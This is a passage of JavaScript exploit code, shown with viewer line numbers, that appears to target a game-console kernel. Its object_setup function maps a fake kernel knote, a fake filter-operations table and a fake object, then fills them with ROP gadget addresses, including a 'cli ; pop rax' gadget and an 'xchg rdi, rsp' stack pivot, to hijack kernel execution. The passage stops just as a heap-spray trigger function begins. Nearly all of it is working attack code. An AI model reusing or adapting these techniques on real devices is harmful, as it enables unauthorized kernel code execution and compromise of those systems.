| 514 | } |
| 515 | |
| 516 | function object_setup() { |
| 517 | //Map fake object |
| 518 | var fake_knote = chain.syscall(477, 0x4000, 0x4000 * 0x3, 0x3, 0x1010, 0xFFFFFFFF, 0x0); |
| 519 | var fake_filtops = fake_knote.add32(0x4000); |
| 520 | var fake_obj = fake_knote.add32(0x8000); |
| 521 | if (fake_knote.low != 0x4000) { |
| 522 | alert("enomem: " + fake_knote); |
| 523 | while (1); |
| 524 | } |
| 525 | //setup fake object |
| 526 | //KNOTE |
| 527 | { |
| 528 | p.write8(fake_knote, fake_obj); |
| 529 | p.write8(fake_knote.add32(0x68), fake_filtops) |
| 530 | } |
| 531 | //FILTOPS |
| 532 | { |
| 533 | p.write8(fake_filtops.sub32(0x79), gadgets["cli ; pop rax"]); //cli ; pop rax ; ret |
| 534 | p.write8(fake_filtops.add32(0x0), gadgets["xchg rdi, rsp ; call [rsi - 0x79]"]); //xchg rdi, rsp ; call qword ptr [rsi - 0x79] |
| 535 | p.write8(fake_filtops.add32(0x8), kchain.stack); |
| 536 | p.write8(fake_filtops.add32(0x10), gadgets["mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]"]); //mov rcx, qword ptr [rdi] ; mov rsi, rax ; call qword ptr [rcx + 0x30] |
| 537 | } |
| 538 | //OBJ |
| 539 | { |
| 540 | p.write8(fake_obj.add32(0x30), gadgets["mov rdi, [rax + 8] ; call [rax]"]); //mov rdi, qword ptr [rax + 8] ; call qword ptr [rax] |
| 541 | } |
| 542 | //Ensure the fake knote remains available |
| 543 | chain.syscall(203, fake_knote, 0xC000); |
| 544 | } |
| 545 | |
| 546 | var trigger_spray = function () { |
| 547 | |